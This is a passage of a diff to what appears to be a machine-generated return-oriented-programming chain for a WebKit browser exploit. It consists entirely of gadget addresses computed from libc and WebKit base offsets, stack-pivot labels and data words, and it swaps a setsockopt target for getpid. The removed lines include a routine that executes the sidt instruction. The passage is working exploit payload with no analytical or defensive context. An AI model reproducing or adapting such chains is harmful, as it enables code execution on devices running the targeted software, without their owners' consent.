rax, rsi -libc_base+793877, //pop rsi -ropchain+292320, //L5327 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+292304, //L5326 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5326: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5327: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+292488, //L5330 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+292504, //L5331 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+292456, //L5328 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+292472, //L5329 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5328: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5329: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5330: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5331: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+292600, //L5333 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+292584, //L5332 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi -]); -//L5332: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5333: -db([0, 0]); // 0x0 +//L5261: +db([16, 0]); // 0x10 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+292688, //L5335 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L5334: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L5335: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+292760, //L5338 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5336: -db([4294967024, 4294967295]); // -0x110 -set_gadget(libc_base+792472,); //pop rcx -//L5338: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx -libc_base+793877, //pop rsi -ropchain+292824, //L5339 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5339: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+788575, //pop rax +//L5263: +ropchain+292984, //L5262 libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+287728, //L5210 -//L5243: -//L5341: -libc_base+811575, //pop rsp -ropchain+275472, //L4895 -//L5204: -libc_base+793877, //pop rsi -ropchain+292952, //L5344 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5342: -db([4294967032, 4294967295]); // -0x108 -set_gadget(libc_base+792472,); //pop rcx -//L5344: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+293056, //L5347 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+293040, //L5346 -webkit_base+7438103, //mov [rsi], rax +ropchain+293752, //L5264 +//L5262: libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5346: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5347: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+293224, //L5350 +ropchain+293096, //L5266 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+293240, //L5351 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+293192, //L5348 +ropchain+293112, //L5267 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+293208, //L5349 +ropchain+293080, //L5265 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5348: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5349: +//L5265: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5350: +//L5266: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5351: +//L5267: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+293336, //L5353 +ropchain+293208, //L5269 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+293320, //L5352 +ropchain+293192, //L5268 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5352: +//L5268: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5353: +//L5269: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5354: -db([65535, 0]); // 0xffff -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+293448, //L5357 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L5357: -db([0, 0]); // 0x0 +//L5270: +db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+5202439, //and rax, rcx -libc_base+793877, //pop rsi -ropchain+293592, //L5359 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+293608, //L5360 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+293576, //L5358 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5358: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5359: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5360: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+293712, //L5361 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+293744, //L5363 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+293728, //L5362 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax ]); -//L5361: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5362: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5363: -db([0, 0]); // 0x0 +//L5271: +db([3, 0]); // 0x3 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L5273: +ropchain+293408, //L5272 libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+293840, //L5364 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+293856, //L5365 -webkit_base+7438103, //mov [rsi], rax -webkit_base+432898 //pop r8 -]); -//L5364: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5365: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+295080, //L5274 +//L5272: +libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+293968, //L5366 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+293952, //L5367 -webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax -]); -//L5367: -db([0, 0]); // 0x0 -set_gadget(libc_base+811575,); //pop rsp -//L5366: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+793877, //pop rsi -ropchain+294056, //L5369 +ropchain+293520, //L5276 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+294040, //L5368 +ropchain+293504, //L5275 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5368: +//L5275: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5369: +//L5276: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -38865,17 +38609,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+294152, //L5370 +ropchain+293616, //L5277 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+294168, //L5371 +ropchain+293632, //L5278 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L5370: +//L5277: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5371: +//L5278: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -38885,19 +38629,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+294280, //L5372 +ropchain+293744, //L5279 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+294264, //L5373 +ropchain+293728, //L5280 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L5373: +//L5280: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L5372: +//L5279: db([0, 0]); // 0x0 -//L4369: +//L5264: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -39073,7 +38817,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -setsockopt_addr, +getpid_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -39113,1496 +38857,767 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+295608, //L5374 +ropchain+295072, //L5281 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L5374: +//L5281: db([0, 0]); // 0x0 -//_sidt: +//L5274: set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([208, 0]); // 0xd0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+295680, //L5376 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -webkit_base+432898 //pop r8 -]); -//L5376: -db([0, 0]); // 0x0 -set_gadgets([ +libc_base+788575, //pop rax +libc_base+206806, //pop rdi libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+295744, //L5378 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -webkit_base+432898 //pop r8 -]); -//L5378: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([128, 0]); // 0x80 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5379: -db([4294967168, 4294967295]); // -0x80 -set_gadgets([ -libc_base+792472, //pop rcx -//L5381: -libc_base+191168, //mov rax, [rdi] -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5382: -db([4294967176, 4294967295]); // -0x78 -set_gadgets([ -libc_base+792472, //pop rcx -//L5384: -libc_base+793877, //pop rsi -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+793877, //pop rsi -ropchain+295944, //L5387 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5385: -db([4294967168, 4294967295]); // -0x80 -set_gadget(libc_base+792472,); //pop rcx -//L5387: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax libc_base+793877, //pop rsi -ropchain+296024, //L5388 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5388: -db([0, 0]); // 0x0 -set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+296080, //L5391 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5391: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+105267, //pop rdx libc_base+471355, //mov [rdi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+296160, //L5393 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5393: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5392: -db([13, 0]); // 0xd -set_gadget(libc_base+792472,); //pop rcx -//L5394: -db([8, 0]); // 0x8 -set_gadgets([ -webkit_base+1506828, //imul rax, rcx -libc_base+793877, //pop rsi -ropchain+296264, //L5395 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+296280, //L5396 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx -]); -//L5395: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5396: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1838146, //add rax, rcx -libc_base+793877, //pop rsi -ropchain+296368, //L5397 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5397: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+296424, //L5400 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5400: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+296512, //L5403 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5401: -db([4294967184, 4294967295]); // -0x70 -set_gadget(libc_base+792472,); //pop rcx -//L5403: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5404: -db([4294967192, 4294967295]); // -0x68 -set_gadgets([ -libc_base+792472, //pop rcx -//L5406: -webkit_base+7438103, //mov [rsi], rax -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5407: -db([4294967200, 4294967295]); // -0x60 -set_gadgets([ -libc_base+792472, //pop rcx -//L5409: -libc_base+793877, //pop rsi -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+793877, //pop rsi -ropchain+296680, //L5411 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5411: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5410: -db([7, 0]); // 0x7 -set_gadget(libc_base+792472,); //pop rcx -//L5412: -db([4294967295, 4294967295]); // 0xffffffffffffffff -set_gadgets([ -libc_base+582033, //xor rax, rcx -libc_base+793877, //pop rsi -ropchain+296784, //L5415 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5413: -db([4294967208, 4294967295]); // -0x58 -set_gadget(libc_base+792472,); //pop rcx -//L5415: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5416: -db([4294967216, 4294967295]); // -0x50 -set_gadgets([ -libc_base+792472, //pop rcx -//L5418: -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5419: -db([4294967224, 4294967295]); // -0x48 -set_gadgets([ -libc_base+792472, //pop rcx -//L5421: -libc_base+191168, //mov rax, [rdi] -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5422: -db([4294967232, 4294967295]); // -0x40 -set_gadgets([ -libc_base+792472, //pop rcx -//L5424: -libc_base+792472, //pop rcx -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5425: -db([4294967240, 4294967295]); // -0x38 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+297056, //L5428 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx -]); -//L5427: -db([125, 0]); // 0x7d -set_gadget(libc_base+788575,); //pop rax -//L5428: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5429: -db([4294967248, 4294967295]); // -0x30 -set_gadgets([ -libc_base+792472, //pop rcx -//L5431: -webkit_base+1838146, //add rax, rcx -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5432: -db([4294967256, 4294967295]); // -0x28 -set_gadgets([ -libc_base+792472, //pop rcx -//L5434: -webkit_base+11349202, //sidt [rax - 0x7d] -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5435: -db([4294967264, 4294967295]); // -0x20 -set_gadgets([ +libc_base+788575, //pop rax libc_base+792472, //pop rcx -//L5437: -libc_base+811575, //pop rsp -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5438: -db([4294967272, 4294967295]); // -0x18 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+297320, //L5441 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx -]); -//L5440: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5441: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+2997875, //mov [rax], rcx -libc_base+793877, //pop rsi -ropchain+297392, //L5444 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5442: -db([4294967286, 4294967295]); // -0xa -set_gadget(libc_base+792472,); //pop rcx -//L5444: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877 //pop rsi -]); -db([8, 0]); // 0x8 -set_gadgets([ +libc_base+471355, //mov [rdi], rax libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+432898, //pop r8 libc_base+471355, //mov [rdi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+297496, //L5446 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L5445: -db([4294967168, 4294967295]); // -0x80 -set_gadget(libc_base+788575,); //pop rax -//L5446: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+297560, //L5449 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax -//L5448: -ropchain+297688, //L5447 -webkit_base+11924577 //pop r10 -]); -//L5449: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ +webkit_base+10235455, //pop r9 +libc_base+471355, //mov [rdi], rax libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+785193, //xor rax, rax libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+297664, //L5451 -webkit_base+7438103, //mov [rsi], rax -webkit_base+2810902, //mov rax, r10 -libc_base+793877, //pop rsi -ropchain+297680, //L5450 -webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax -]); -//L5451: -db([0, 0]); // 0x0 -set_gadget(libc_base+811575,); //pop rsp -//L5450: -db([0, 0]); // 0x0 -//L5447: -set_gadgets([ -libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+297776, //L5453 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L5452: -db([4294967286, 4294967295]); // -0xa -set_gadget(libc_base+788575,); //pop rax -//L5453: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+297896, //L5455 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+297912, //L5456 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+297880, //L5454 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx -]); -//L5454: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5455: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5456: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+270800, //mov ax, [rdi] -libc_base+793877, //pop rsi -ropchain+298072, //L5460 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+298024, //L5457 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+298056, //L5459 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5457: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5458: -db([16, 0]); // 0x10 -set_gadget(libc_base+206806,); //pop rdi -//L5459: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5460: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+877546, //shl rax, cl -libc_base+793877, //pop rsi -ropchain+298128, //L5462 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+206806 //pop rdi -]); -//L5462: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+523896, //sar edi, cl -libc_base+793877, //pop rsi -ropchain+298232, //L5463 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+298264, //L5465 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+298248, //L5464 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5463: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5464: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5465: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+298424, //L5469 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+298376, //L5466 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+298408, //L5468 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5466: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5467: -db([48, 0]); // 0x30 -set_gadget(libc_base+206806,); //pop rdi -//L5468: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5469: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+877546, //shl rax, cl -libc_base+877568, //shr rax, cl -libc_base+793877, //pop rsi -ropchain+298496, //L5471 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx -]); -//L5470: -db([48, 0]); // 0x30 -set_gadget(libc_base+788575,); //pop rax -//L5471: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+877546, //shl rax, cl -libc_base+877568, //shr rax, cl -libc_base+793877, //pop rsi -ropchain+298672, //L5474 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+298688, //L5475 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+298640, //L5472 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+298656, //L5473 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5472: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5473: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5474: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5475: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+298848, //L5479 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+298800, //L5476 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+298832, //L5478 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5476: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5477: -db([48, 0]); // 0x30 -set_gadget(libc_base+206806,); //pop rdi -//L5478: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5479: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+877546, //shl rax, cl -libc_base+877568, //shr rax, cl -libc_base+793877, //pop rsi -ropchain+298952, //L5481 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+298936, //L5480 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx -]); -//L5480: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5481: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ +libc_base+788575, //pop rax +libc_base+11, //nop +libc_base+471355, //mov [rdi], rax libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+11, //nop libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop 